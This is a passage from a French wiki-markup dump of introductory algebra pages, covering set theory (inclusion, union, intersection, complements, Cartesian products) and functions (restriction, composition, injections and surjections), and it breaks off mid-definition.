*[[Algèbre:Espace vectoriel|Espace vectoriel]] *[[Algèbre:Algèbre|Algèbre]] === Les nombres === *[[Algèbre:Nombres entiers naturels|Nombres entiers naturels]] *[[Algèbre:Nombres entiers relatifs|Nombres entiers relatifs]] *[[Algèbre:Nombres rationnels|Nombres rationnels]] *[[Algèbre:Nombres réels|Nombres réels]] *[[Algèbre:Nombres complexes|Nombres complexes]] === Les polynômes === *[[Algèbre:Polynômes|Polynômes]] === Les fractions rationnelles === *[[Algèbre:Fractions rationnelles|Fractions rationnelles]] === Les matrices === *[[Algèbre:Matrice|Calcul matriciel]] [[en:Algebra]] Algèbre:Introduction 16 18987 2005-08-12T16:46:12Z Cornélius 466 L'[[fr:Algèbre|algèbre]] est une branche des mathématiques qui étudie les structures algébriques : * Résolution des équations algébriques * Étude des propriétés des ensembles munis d'une structure algébrique (groupes, anneaux, lois de composition, etc.) <small>''retour à l<nowiki>'</nowiki>[[algèbre]]''</small> Algèbre:Théorie élémentaire des ensembles 17 11824 2005-05-30T21:44:27Z Marc 66 restitution de la dernière modification de 193.51.20.143 == Ensembles == === Définitions: ensemble et élément === Un ensemble est une '''collection''' ou un ''groupement'' d'objets; ces objets s'appellent les éléments de cet ensemble. <br>Soit <math>E</math> un ensemble, quand <math>a</math> est un élément de <math>E</math>, nous disons que <math>a</math> est dans <math>E</math> ou que <math>a</math> appartient à <math>E</math> et nous écrivons <math>a \in E</math>, ce qui se lit «&nbsp;<math>a</math> appartient à <math>E</math>&nbsp;». Quand au contraire <math>a</math> n'est pas élément de <math>E</math>, nous disons que <math>a</math> n'appartient pas à <math>E</math> et nous écrivons <math>a \not\in E</math>, ce qui se lit «&nbsp;<math>a</math> n'appartient pas à <math>E</math>&nbsp;». === Définition/Notation: ensemble vide === Un ensemble est dit vide s'il n'a aucun élément et nous notons l<nowiki>'</nowiki>'''ensemble vide''' <math>\left\{\right\}</math>. :'''Remarque''': Retenons qu'une chose est un ensemble, si nous pouvons dire si un objet quelconque est ou n'est pas élément de cette chose; concernant l'ensemble vide nous pouvons dire qu' aucun objet n'est élément de cette chose. === Exemples d'ensembles === #Les entiers naturels <math>0, 1, 2, 3, ...</math> forment un ensemble qui se note <math>\mathbb{N}</math>. #Les entiers relatifs <math>..., -3, -2, -1, 0, 1, 2, 3, ...</math> forment un ensemble qui se note <math>\mathbb{Z}</math>. #Les nombres rationnels (de la forme <math>p/q</math> où <math>p \in \mathbb{Z}</math> et <math>q \in \mathbb{N}^*</math>) forment un ensemble noté <math>\mathbb{Q}</math>. #Les points du plan forment un ensemble. === Définition d'un ensemble en extension et en compréhension === Un ensemble peut être défini '''en extension''', c'est à dire en donnant la liste de ses éléments entre accolades, ou '''en compréhension''' c'est à dire par une propriété caractérisant ses éléments. La manière la plus simple de décrire un ensemble « fini » est de lister ses éléments entre accolades. L'ensemble est alors défini en extension. Par exemple {1,2} représente l'ensemble dont les éléments sont 1 et 2. *L' ordre des éléments ne revêt aucune importance; par exemple, {1,2} = {2,1}. *La répétition d' éléments entre les accolades ne modifie pas l'ensemble; par exemple, {1,2,2} = {1,1,1,2} = {1,2}. Pour définir en extension un ensemble dont le « nombre » d'éléments est « infini », nous pouvons écrire quelques éléments de cet ensemble suivis de points de suspension. Par exemple, l'ensemble des entiers naturels se définit par : ℕ={0, 1, 2, 3, ...}. Les points de suspension peuvent aussi être utilisés pour abréger l'écriture de la liste des éléments de certains ensembles « finis ». Par exemple l'ensemble {1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21} s'écrit plus simplement {1, 3, 5,..., 21}. Un abus de notation permet de définir un ensemble en plaçant entre accolades la nature des objets qui lui appartiennent. Par exemple la notation {entiers pairs} désigne l'ensemble de tous les entiers relatifs multiples de 2. Il est aussi possible de définir un ensemble par une proposition logique ''P'' qui dépend de ''x''. L'ensemble est alors constitué de tous les objets ''x'' pour lesquels la condition ''P'' est vraie. Cet ensemble se note {''x'' / ''P''(''x'')}. Par exemple, {''x''/x est un nombre réel} désigne l'ensemble des nombre réels ℝ. Cette notation est appelée « notation de définition d'un ensemble en compréhension ». Quelques variantes de notations de définition d'un ensemble en compréhension sont: *{''x'' ∈ ''A'' / ''P''(''x'')} désigne l'ensemble des ''x'' qui sont déjà éléments de ''A'' tels que la condition ''P'' soit vérifiée pour ces ''x''. Par exemple, si ℤ est l'ensemble des entiers, alors {''x'' ∈ ℤ / ''x'' est un entier pair} est l'ensemble de tous les entiers pairs. *{''F''(''x'') / ''x'' ∈ ''A''} désigne l'ensemble de tous les objets obtenus en mettant les éléments de l'ensemble ''A'' dans la formule ''F''. Par exemple, {2''x'' / ''x'' ∈ ℤ} est encore l'ensemble de tous les entiers pairs. *{''F''(''x'') / ''P''(''x'')} est la forme la plus générale de la définition en compréhension. Par exemple, { propriétaire de x / x est un chien} est l'ensemble de tous les propriétaires de chiens. === Définition: Égalité de deux ensembles === Deux ensembles <math>E</math> et <math>F</math> sont dits égaux s'ils ont exactement les mêmes éléments et nous écrivons <math>E = F</math>. Nous avons :<math>\forall x, (x\in E \Leftrightarrow x\in F)</math> [[Algèbre|retour à l'algèbre]] == Sous-ensemble, partie d'un ensemble == === Inclusion === '''Définition''' Soient <math>E</math> et <math>F</math> deux ensembles quelconques. Nous disons que <math>E</math> est <u>inclus</u> dans <math>F</math> ou que <math>E</math> est un <u>sous-ensemble</u> de <math>F</math> ou encore que <math>E</math> est une <u>partie</u> de <math>F</math> ssi tout élément de <math>E</math> est un élément de <math>F</math>. Nous écrivons <math>E\subset F</math>.<br>Soit: <math>(E \subset F) \Leftrightarrow (\forall x \in E, x \in F)</math> '''Notation''' Nous notons <math>\mathcal P(E)</math>, l'ensemble des parties de l'ensemble <math>E</math>. :''Exemple :'' <math>\mathbb R\subset \mathbb C</math>. '''Propositions''' #<math>(\forall E, \forall F, \left((E\subset F) \and (F\subset G)\right))\Rightarrow (E\subset G)</math>. #<math>(\forall E, \forall F, \left((E\subset F) \and (F\subset E\right)))\Leftrightarrow (E=F)</math>. ::''Démonstrations:'' ::1. Soient <math>E</math>,<math>F</math> et <math>G</math> trois ensembles. ::Supposons <math>E \subset F</math> et <math>F \subset G</math> ::Soit <math>x \in E</math>, on a <math>x \in F </math> (car <math>E \subset F</math>) ::De même comme <math>x \in F</math> et <math>F \subset G</math> on a <math>x \in G</math> ::Donc si <math>x \in E</math> alors <math>x \in G</math> d'où <math>E \subset G</math> :: 2. Soient <math>E</math> et <math>F</math> deux ensembles ::Notons <math>G=\{x\;|\;x \in E \mbox{ et } x \in F\}</math>. <math>G</math> est l'ensemble des éléments qui appartiennent à la fois à <math>E</math> et à <math>F</math> (en fait <math>G=(F \bigcap E)</math>). ::Supposons <math>(E \subset F</math> et <math>F \subset E)</math> ::Remarquons que : ::<math>(E \subset F)</math> ::<math>\Leftrightarrow \mbox{Tout element de E appartient a F}</math> ::<math>\Leftrightarrow (F = G)</math> ::De même on a ::<math>(F \subset E</math>) ::<math>\Leftrightarrow \mbox{Tout element de F appartient a E}</math> ::<math>\Leftrightarrow(E = G)</math> ::On a montré <math>(E \subset F \wedge F \subset E)\Leftrightarrow(F = G = E) </math> [[Algèbre|retour à l'algèbre]] == Opérations sur les ensembles == === Intersection === '''Définition :''' Nous appelons '''intersection''' de deux ensembles quelconques ''E'' et ''F'', l'ensemble des ''x'' qui appartiennent à la fois à ''E'' et ''F''. Cet ensemble se note <math>E\cap F</math>, et nous avons :<math>E\cap F=\{x/(x\in E)\and (x\in F)\}</math>. <math>E\cap F</math> se lit «&nbsp;''E'' inter ''F''&nbsp;». '''Exemple :''' Si ''A''={2,3,5,9} et ''B''={0,2,3}, alors leur intersection, est l'ensemble {2,3}. '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques. ''E'' et ''F'' sont dits '''disjoints''', lorsque leur intersection est vide, c'est à dire :<math>E\cap F=\emptyset</math> ''Remarque :'' Il ne faut surtout pas confondre ''distincts'' avec ''disjoints''. Deux ensembles disjoints n'ont pas d'élément en commun, alors que deux ensembles distincts peuvent en avoir. Pour que deux ensembles soient distincts il faut et il suffit qu'il existe un élément appartenant à l'un mais pas à l'autre. === Réunion === '''Définition :''' Nous appelons '''réunion''' de deux ensembles ''E'' et ''F'' l'ensemble des ''x'' qui appartiennent à ''E'' ou à ''F'' (éventuellement les deux). Cet ensemble se note <math>E\cup F</math> et nous avons :<math>E\cup F=\{x/(x\in E)\or (x\in F)\}</math>. <math>E\cup F</math> se lit «&nbsp;''E'' union ''F''&nbsp;». '''Exemple :''' Si ''A''={2,3,5,7} et ''B''={0,2,3}, alors leur réunion est l'ensemble {0,2,3,5,7}. === Différence === '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques. Nous appelons '''différence''' de ''E'' et ''F'', l'ensemble des ''x'' qui appartiennent à ''E'' mais pas à ''F''. Cet ensemble se note <math>E \backslash F</math> et nous avons :<math>E\backslash F=\{x/(x\in E) \and (x\notin F)\}</math>. <math>E\backslash F</math> se lit «&nbsp;''E'' différence ''F''&nbsp;». === Différence symétrique === '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques. Nous appelons '''différence symétrique''' de ''E'' et ''F'', l'ensemble des ''x'' qui appartiennent à ''E'' ou à ''F'' mais pas au deux à la fois. Cet ensemble se note <math>E \Delta F</math> et nous avons :<math>E\Delta F=\{x/\left((x\in E)\and (x\notin F)\right)\or \left((x\in F)\and (x\notin E)\right) \}=(E\cup F)\backslash (E\cap F)</math>. <math>E\Delta F</math> se lit «&nbsp;''E'' delta ''F''&nbsp;». === Complémentaire === '''Définition :''' Soient ''E'' un ensemble quelconque et ''A'' une partie quelconque de ''E''. Nous appelons complémentaire de ''A'' par rapport à ''E'' (ou de ''A'' dans ''E'') ou encore différence de ''E'' et de ''A'', l'ensemble des ''x'' qui appartiennent à ''E'' mais pas à ''A''. Cet ensemble se note <math>\complement_E A</math> ou <math>E \backslash A</math> ou <math>\overline{A}</math>. [[Algèbre|retour à l'algèbre]] == Propriétés des opérations élémentaires == '''Propositions :''' *L'intersection et la réunion sont idempotentes :<br/><math>\forall A, A\cap A=A</math><br/><math>\forall A, A\cup A=A</math> *L'intersection et la réunion sont commutatives :<br/><math>\forall A, \forall B, A\cap B=B\cap A</math><br/><math>\forall A, \forall B, A\cup B=B\cup A</math> *L'intersection et la réunion sont associatives :<br/><math>\forall A, \forall B, \forall C, (A\cap B)\cap C=A\cap (B\cap C)</math><br/><math>\forall A, \forall B, \forall C, (A\cup B)\cup C=A\cup (B\cup C)</math> *L'intersection est distributive par rapport à la réunion :<br/><math>\forall A, \forall B, \forall C, A\cap (B\cup C)=(A\cap B)\cup (A\cap C)</math> *La réunion est distributive par rapport à l'intersection: <br/><math>\forall A, \forall B, \forall C, A\cup (B\cap C)=(A\cup B)\cap (A\cup C)</math>. '''Demonstrations :''' *Soit A un ensemble. <math>A \cap A =\{x/( (x \in A) \, et \, (x \in A))\}=\{x/( x \in A \}=A</math> :De même pour la réunion *Soient A et B deux ensembles. :<math>A \cap B = \{x/((x \in A)\, et \, (x \in B))\}</math> :::<math>=\{x/((x \in B)\, et \, (x \in A))\}=B \cap A</math> :De même pour la réunion *Soient A,B,C trois ensembles :<math>A \cap B=\{x/(x \in A)\, et\, (x \in B)\}</math> :<math>(A \cap B)\cap C=\{x/((x \in A)\, et\, (x \in B))\, et \, (x \in C) \}</math> ::::<math>=\{x/(x \in A)\, et\, ((x \in B))\, et \, (x \in C) \}</math> :<math>=A \cap (B \cap C)</math> :De même pour la réunion '''Propositions :''' Soit ''E'' un ensemble quelconque. *Double passage au complémentaire : <br/><math>\forall A\in \mathcal P(E), \complement_E\left(\complement_E A\right)=A</math>. *Lois de Morgan :<br/>Le complémentaire d'une réunion est l'intersection des complémentaires, et le complémentaire d'une intersection est la réunion des complémentaires, c'est à dire<br/><math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), \complement_E\left(A\cap B\right)=\left(\complement_E A\right) \cup \left(\complement_E B\right)</math><br/><math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), \complement_E\left(A\cup B\right)=\left(\complement_E A\right) \cap \left(\complement_E B\right)</math> *<math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), A\cap B=\emptyset\Leftrightarrow A\subset \complement_E B</math> *<math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), A\cup B=E\Leftrightarrow \complement_E B\subset A</math> *<math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), A\subset B\Leftrightarrow \complement_E B\subset \complement_E A</math>. === Propriétés de la différence symétrique === '''Propositions :''' Soit ''E'' un ensemble quelconque. *Commutativité de la différence symétrique :<br/><math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), A\Delta B=B\Delta A</math>. *<math>\forall A\in \mathcal P(E), A\Delta A=\emptyset, A\Delta E=\complement_E A</math>. *<math>\emptyset</math> est élément neutre:<br/><math>\forall A\in \mathcal P(E), A\Delta \emptyset=A</math>. *Associativité de la différence symétrique :<br/><math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), \forall C\in \mathcal P(E), (A\Delta B)\Delta C=A\Delta (B\Delta C)</math>. *Distributuvité de <math>\cap</math> par rapport à <math>\Delta</math><br/><math>\forall A\in \mathcal P(E), \forall B\in \mathcal P(E), \forall C\in \mathcal P(E), A\cap (B\Delta C)=(A\cap B) \Delta (A\cap C)</math>. [[Algèbre|retour à l'algèbre]] == Produit d'ensembles == '''Définitions :''' *Soient ''x'' et ''y'' deux objets. Nous appelons '''couple''' (''x'',''y'') la suite d'objets dont le premier élément est ''x'' et le second ''y''. *Soient ''X'' et ''Y'' deux ensembles quelconque. Nous appelons '''produit cartésien''' ou '''produit''' de ''X'' et de ''Y'' l'ensemble des couples (''x'',''y'') tels que ''x'' appartient à ''X'' et ''y'' appartient à ''Y''. Cet ensemble se note <math>X\times Y</math>. Formellement, le couple <math>(x,y)</math> peut être défini ainsi : si <math>x</math> et <math>y</math> sont deux objets, alors <math>(x,y)=\{\{x\},\{x,y\}\}</math>. Cette définition assure en particulier que <math>(a,b)=(c,d) \mathrm{ssi} (a=c \,\mathrm{et}\, b=d)</math>. ''Remarque :'' Attention <math>(x,y)\neq (y,x)</math> en général. Il ne faut surtout pas confondre un couple avec une paire <math>\left\{ x,y\right\}</math> pour laquelle nous avons <math>\left\{ x,y\right\} =\left\{ y,x\right\}</math>. '''Définitions :''' *Soient ''x''<sub>1</sub>, ''x''<sub>2</sub>, ..., ''x''<sub>''n''</sub> ''n'' objets. Nous appelons ''n''-'''uplet''' (''x''<sub>1</sub>, ''x''<sub>2</sub>, ..., ''x''<sub>''n''</sub>) la suite d'objets dont le premier élément est ''x''<sub>1</sub>, le deuxième ''x''<sub>2</sub>, ..., et le dernier élément ''x''<sub>''n''</sub>. Ces éléments sont appelés '''composantes'''. *Soient ''E''<sub>1</sub>, ''E''<sub>2</sub>, ..., ''E''<sub>1</sub> ''n'' ensembles quelconques. Nous appelons '''produit cartésien''' ou '''produit''' de ''E''<sub>1</sub> par ... par ''E''<sub>''n''</sub>, l'ensemble des ''n''-uplets (''x''<sub>1</sub>, ''x''<sub>2</sub>, ..., ''x''<sub>''n''</sub>) tels que ''x''<sub>1</sub> appartient à ''E''<sub>1</sub>, ..., ''x''<sub>''n''</sub> appartient à ''E''<sub>''n''</sub>. Cet ensemble se note <math>E_1\times E_2\times\ldots\times E_n</math>. *Si ''E''<sub>1</sub>= ''E''<sub>1</sub>=...=''E''<sub>''n''</sub> sont égaux à un même ensemble ''E'', nous notons ''E''<sup>''n''</sup> plutôt que <math>E\times E\times \ldots\times E</math>. [[Algèbre|retour à l'algèbre]] Algèbre:Fonctions et applications 18 27523 2005-12-24T17:23:16Z 82.228.92.24 /* Application et relation */ Dans ce chapitre, nous allons commencer par introduire la notion d'application comme une notion primitive, ensuite nous définirons une application comme une relation. Nous nous intéresserons à des types d'application, à des applications particulières et donnerons leurs propriétés. == Applications == === Définition intuitive d'une application === -------------------- '''Définitions :''' Une '''application''', ou '''fonction''', d'un ensemble ''E'' dans un ensemble ''F'' (ou de ''E'' '''vers''' ''F'') est une correspondance, qui à tout élément ''x'' de ''E'' associe '''un et un seul''' élément ''y'' de l'ensemble ''F''. ''y'' est appelé l<nowiki>'</nowiki>'''image''' de ''x'' par ''f'' et se note ''f''(''x'').<br/> ''x'' est un '''antécédent''' de ''y'' par ''f''.</br>''E'' s'appelle l<nowiki>'</nowiki>'''ensemble de départ''' ou l<nowiki>'</nowiki>'''ensemble de définition''' de ''f'', et ''F'' l<nowiki>'</nowiki>ensemble d<nowiki>'</nowiki>'''arrivée'''.<br/>L'application ''f'' de ''E'' dans ''F'' se note :<math>\begin{matrix}f: & E & \rightarrow & F\\& x & \mapsto & f(x)\end{matrix}</math> ou <math>f: E \rightarrow F</math> ou encore <math>f: x\mapsto f(x)</math> La partie ''G'' formée des couples de ''E'' × ''F'' de la forme (''x'', f(''x'')) où ''x'' parcourt l'ensemble ''E'' s'appelle le '''graphe''' de ''f''. Nous avons donc <math>G=\{(x, y)\in E\times F/y=f(x)\}</math> Une '''représentation graphique''' de ''f'' est une représentation du graphe de ''f''. L'ensemble des applications de ''E'' dans ''F'' se note habituellement <math>\mathcal A(E, F)</math> ou <math>F^E</math> ou <math>\mathcal F(E, F)</math>.<br/>Si ''E''=''F'', l'ensemble des applications de ''E'' dans ''E'' se note plus simplement <math>\mathcal A(E)</math> ou <math>E^E</math> ou <math>\mathcal F(E)</math>. ''Remarques :'' #Souvent la notion d'application est confondue avec celle de fonction. #L'image d'un élément ''x'' par ''f'' est aussi appelée la valeur de ''f'' en ''x''. #Pour tout ''x'' élément de ''E'', ''f''(''x'') est un élément de ''F'', et ne représente pas l'application ''f''. Il ne faut en aucun cas confondre l'application ''f'', avec l'image par ''f'' d'un élément. Ceux qui considèrent que ''f''(''x'') est une fonction de la variable ''x'', devraient se poser la question suivante: :::pour ''f''=exp, si ''x'' prend la valeur 2, ''f''(''x'') est-elle toujours une fonction ? #Si ''f'' est une application de ''E'' dans ''F'' alors nous avons la propriété :::<math>\forall x\in E, \exists ! y\in F, y=f(x)</math> '''Définition''' (égalité des applications): Deux applications <math>f: E \rightarrow F</math> et <math>g: E' \rightarrow F'</math> sont dites égales si les trois propriétés suivantes sont vérifiées #''E''=''E''<nowiki>'</nowiki> (même ensemble de départ) #''F''=''F''<nowiki>'</nowiki> (même ensemble d'arrivée) #pour tout ''x'', ''f''(''x'')=''g''(''x''). === Application et relation === ------------------ '''Définitions :''' Un '''graphe''' dans <math>E\times F</math> est une partie <math>G</math> de <math>E\times F</math> telle que pour tout <math>x\in E</math>, il existe exactement un élément <math>y\in F</math> tel que <math>(x,y)\in G</math>. Une '''application''', ou '''fonction''', est un triplet <math>f=(E,F,G)</math>, où <math>G</math> est un graphe dans <math>E\times F</math>. Si <math>f=(E,F,G)</math> est une application, si <math>(x,y)\in G</math>, on note <math>f(x)</math> pour <math>y</math>. On dit alors que <math>x</math> est ''un'' '''antécédent''' de <math>y</math> par <math>f</math>, et que <math>y</math> est l''''image''' de <math>x</math> par <math>f</math>. === Exemples d'applications === ---------------------- '''Définition :''' Soit ''E'' un ensemble quelconque. L'application identité de ''E'' (ou application identique de ''E'') est l'application de ''E'' dans ''E'', notée <math>\operatorname{Id}_E</math>, définie par :<math>\forall x\in E, \operatorname{Id}_E(x)=x</math>. '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques. Une application ''f'' de ''E'' dans ''F'' est dite constante, s'il existe un élément ''a'' de ''F'', tel que pour tout ''x'' de ''E'', on ait ''f''(''x'')=''a'', c'est à dire si :<math>\exists a\in F, \forall x\in E, f(x)=a</math>. '''Exemples :''' *<math>\begin{matrix}\mathbb{R} & \rightarrow &\mathbb{R}\\x & \mapsto & x^2-x\end{matrix}</math> est une application. *<math>\begin{matrix}\mathbb{R}^2 & \rightarrow &\mathbb{R}\\(x, y) & \mapsto & x^2+xy\end{matrix}</math> est une application. '''Définition :''' Soit ''A'' une partie d'un ensemble quelconque ''E''. Nous appelons application caractéristique de ''A'' (ou fonction indicatrice de ''A''), l'application de ''E'' dans {0, 1} notée <math>\chi_A</math> ou [[Image:unA.png]] définie par :<math>\left\{\begin{matrix}\chi_A(x) & = & 1 &\rm{\,si\,}& x & \rm{\,appartient\,\grave{a}\,} & A\\\chi_A(x) & = & 0 & \rm{\,si\,}& x & \rm{\,n}^{\prime}\rm{appartient\,pas\,\grave{a}\,} & A\end{matrix}\right.</math> === Prolongements et restrictions === ----------------------- À partir d'une application donnée, nous pouvons créer d'autres applications en remplaçant simplement l'ensemble de départ ou d'arrivée par un sous-ensemble ou un sur-ensemble de cet ensemble. ==== Restriction d'une application ==== '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. Soit ''E''<nowiki>'</nowiki> une partie de ''E''. Nous appelons '''la restriction''' de ''f'' à ''E''<nowiki>'</nowiki>, l'application ''g'' de ''E''<nowiki>'</nowiki> dans ''F'' qui à tout ''x'' de ''E''<nowiki>'</nowiki> associe ''f''(''x'') i.e. telle que :<math>\forall x\in E', g(x)=f(x)</math> Cette application ''g'' est habituellement notée <math>f_{|E'}</math>. '''Exemple :''' L'application <math>\exp : \mathbb{R}\rightarrow \mathbb{R}</math> peut être restreinte à <math>\mathbb{R}^*</math> en l'application <math>\begin{matrix}\mathbb{R}^* & \rightarrow & \mathbb{R}\\x & \mapsto & e^x\end{matrix}</math>. ==== Prolongements d'une application ==== '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. Soit ''E''<nowiki>'</nowiki> un ensemble contenant ''E''. Nous appelons '''un prolongement''' de ''f'' à ''E''<nowiki>'</nowiki>, toute application ''g'' de ''E''<nowiki>'</nowiki> dans ''F'' dont la restriction à ''E'' est égale à ''f'', i.e. telle que :<math>\forall x\in E, g(x)=f(x)</math> ''Remarque :'' Il existe en général plusieurs prolongements d'une même application. '''Exemples :''' #Les applications <math>\begin{matrix}g_1: & [0, 1] & \rightarrow & \mathbb{R}\\& x & \mapsto & x\end{matrix}</math> et <math>\begin{matrix}g_2: & [0, 1] & \rightarrow & \mathbb{R}\\& x & \mapsto & \left\{\begin{matrix}x & \rm{\,si\,}& x\neq 0\\1 & \rm{\,si\,}& x=0\end{matrix}\right.\end{matrix}</math><br/> sont des prolongements à [0, 1] de l'application <math>\begin{matrix}f: & ]0, 1] & \rightarrow & \mathbb{R}\\& x & \mapsto & x\end{matrix}</math>. #sin est un prolongement à <math>\mathbb{R}</math> de l'application <math>\begin{matrix}f: & [0, 2\pi[ & \rightarrow & \mathbb{R}\\& x & \mapsto & \sin x\end{matrix}</math>. ==== Restriction de l'ensemble d'arrivée ==== Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. Soit ''F''<nowiki>'</nowiki> une partie de ''F''. Il est possible de restreindre l'ensemble d'arrivée de l'application ''f'', pour former une application ''g'' de ''E'' dans ''F''<nowiki>'</nowiki> qui à un élément ''x'' de ''E'' associe ''f''(''x''), à condition que tout élément ''x'' de ''E'' ait une image dans ''F''<nowiki>'</nowiki> (i.e. l'image de ''f'' soit incluse dans ''F''<nowiki>'</nowiki>).<br/> Dans ce cas l'application ''g'' se note <math>f^{|F'}</math> ==== Extension de l'ensemble d'arrivée ==== Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. Soit ''F''<nowiki>'</nowiki> un ensemble contenant ''F''. Nous pouvons toujours considérer l'application ''g'' de ''E'' dans ''F''<nowiki>'</nowiki> qui à un élément ''x'' de ''E'' associe ''f''(''x''). == Composition des applications == '''Définition :''' Soient ''E'', ''F'' et ''G'' trois ensembles quelconques. Soit ''f'' une application de ''E'' dans ''F'' et ''g'' une application de ''F'' dans ''G''. La composée de ''f'' par ''g'' est l'application de ''E'' dans ''G'' notée <math>g\circ f</math> qui à tout ''x'' de ''E'' associe ''g''(''f''(''x'')), i.e. l'application définie par :<math>\forall x\in E, (g\circ f)(x)=g(f(x))</math>. '''Exemple :''' Considérons les applications <math>\begin{matrix}f: & \mathbb{R} & \rightarrow & \mathbb{R}\\& x & \mapsto & e^x\end{matrix}</math> et <math>\begin{matrix}g: & \mathbb{R} & \rightarrow & \mathbb{R}\\& x & \mapsto & x^2\end{matrix}</math>. Alors les composées de ''f'' par ''g'' et de ''g'' par ''f'' sont les applications <math>\begin{matrix}g\circ f: & \mathbb{R} & \rightarrow & \mathbb{R}\\& x & \mapsto & (e^x)^2=e^{2x}\end{matrix}</math> et <math>\begin{matrix}f\circ g: & \mathbb{R} & \rightarrow & \mathbb{R}\\& x & \mapsto & e^{(x^2)}= e^{x^2}\end{matrix}</math>. '''Exercice :''' Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. Déterminer :<math>f\circ \operatorname{Id}_E</math> et <math>\operatorname{Id}_F\circ f</math> ''Remarque :'' En général nous n'avons pas <math>g\circ f=f\circ g</math>. '''Définition :''' Soient ''E'' un ensemble quelconque, ''f'' et ''g'' deux applications de <math>\mathcal A(E)</math>. Nous disons que ''f'' et ''g'' '''commutent''' (pour la composition des applications) si <math>g\circ f=f\circ g</math>. ''Remarque :'' Soient ''E'' un ensemble quelconque, et ''f'' une application de <math>\mathcal A(E)</math>. Nous avons :<math>f\circ \operatorname{Id}_E=\operatorname{Id}_E\circ f=f</math> et donc <math>\operatorname{Id}_E</math> commute avec toute application de <math>\mathcal A(E)</math>. '''Proposition '''(associativité de la loi de composition) : Soient ''E'', ''F'', ''G'' et ''H'' quatre ensembles quelconques. Soient <math>f: E \rightarrow F</math>, <math>g: F \rightarrow G</math> et <math>h: G \rightarrow H</math> trois applications. Alors nous avons :<math>h\circ (g \circ f) = (h\circ g) \circ f</math>. '''Démonstration :''' <math>h\circ (g \circ f)</math> et <math>(h\circ g) \circ f</math> sont bien des applications de ''E'' dans ''H'' et nous avons :<math>\begin{matrix}\forall x\in E, & [h\circ (g \circ f)](x) & = & h((g \circ f)(x)) & {\rm{par\,d\acute{e}finition\,de\,la\,compos\acute{e}e\,de\,}}g \circ f {\rm{\,par\,}}h\\ & & = & h(g(f(x))) & {\rm{par\,d\acute{e}finition\,de\,la\,compos\acute{e}e\,de\,}}f {\rm{\,par\,}}g\\ & & = & (h\circ g)(f(x)) & {\rm{par\,d\acute{e}finition\,de\,la\,compos\acute{e}e\,de\,}}g {\rm{\,par\,}}h\\& & = & [(h\circ g)\circ f](x) & {\rm{par\,d\acute{e}finition\,de\,la\,compos\acute{e}e\,de\,}}f{\rm{\,par\,}}h\circ g \end{matrix}</math> '''Notation :''' Cette application composée de ''f'' par ''g'' par ''h'', se note simplement <math>h\circ g\circ f</math>. '''Définitions :''' Soit ''E'' un ensemble quelconque. #Soit ''f'' une application de <math>\mathcal A(E)</math>. Nous convenons de poser <math>f^0=\operatorname{Id}_E</math>. #Soient <math>f_1, f_2, \ldots, f_n</math>, ''n'' applications de <math>\mathcal A(E)</math> (<math>n\in\mathbb N^*</math>). La composée de <math>f_1</math> par <math>f_2</math>, par ..., par <math>f_n</math> notée <math>f_n\circ ( f_{n-1} \circ \ldots \circ ( f_2 \circ f_1)\;)</math> se définit par récurrence et d'après la proposition précédente, les parenthèses sont inutiles, nous pouvons noter ce produit plus simplement <math>f_n\circ f_{n-1}\circ \ldots\circ f_1</math>. #Soient ''f'' une application de <math>\mathcal A(E)</math>, et <math>n\in\mathbb N^*</math>. En particulier (pour <math>f_1=\ldots=f_n=f</math>), nous obtenons la composée de ''f'' par elle-même ''n'' fois qui se note <math>f^n</math>. Celle-ci vérifie<br/><math>\begin{matrix}f^{n} = f^{n-1}\circ f = & \underbrace{f\circ f \circ \ldots \circ f}\\& n{\rm{\,fois\,}}\end{matrix}</math> '''Exercice :''' On considère l'application <math>\begin{matrix}f: & \mathbb{R}^2 & \rightarrow & \mathbb{R}^2\\& (x,y) & \mapsto & (y, x)\end{matrix}</math>. Déterminer pour tout entier naturel ''n'', ''f''<sup>''n''</sup>. == Applications injectives, surjectives, bijectives == === Les types d'applications === ------------------- '''Définitions :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f:E\rightarrow F</math> une application. *Nous disons que ''f'' est une application '''injective''' ou est une '''injection''' si deux éléments quelconques de ''E'' ayant même image par ''f'' sont nécessairement égaux, c'est à dire<br/><math>\forall x, x'\in E, f(x)=f(x')\Rightarrow x=x'</math>. *Nous disons que ''f'' est une application '''surjective''' ou est une '''surjection''' si tout élément ''y'' de ''F'' possède au moins un antécédent par ''f'', c'est à dire<br/><math>\forall y\in F, \exists x\in E, y=f(x)</math>. *Nous disons que ''f'' est une application '''bijective''' ou est une '''bijection''' si elle est à la fois injective et surjective. '''Notations :''' Nous notons Inj(''E'', ''F''), Surj(''E'', ''F''), Bij(''E'', ''F'') l'ensemble des injections, surjections, et bijections de ''E'' vers ''F''. '''Proposition :''' Soient ''E'' et ''F'' deux ensembles quelconques et ''f'' une application de ''E'' dans ''F''. *''f'' est dite injective si et seulement si deux éléments distincts quelconques de ''E'' ont des images distinctes, c'est à dire<br/><math>\forall x, x'\in E, x\neq x'\Rightarrow f(x)\neq f(x')</math><br/>(contraposée de l'implication de la définition de l'injectivité.) *''f'' est injective si et seulement si tout élément ''y'' de ''F'' possède au plus un antécédent par ''f''. *''f'' est injective si et seulement si pour tout élément ''y'' de ''F'' l'équation d'inconnue ''x'', f(''x'')=''y'' admet au plus une solution dans ''E''. *''f'' est surjective si et seulement si pour tout élément ''y'' de ''F'' l'équation d'inconnue ''x'', f(''x'')=''y'' admet au moins une solution dans ''E''. *''f'' est bijective si et seulement si tout élément ''y'' de ''F'' possède un unique antécédent par ''f'', 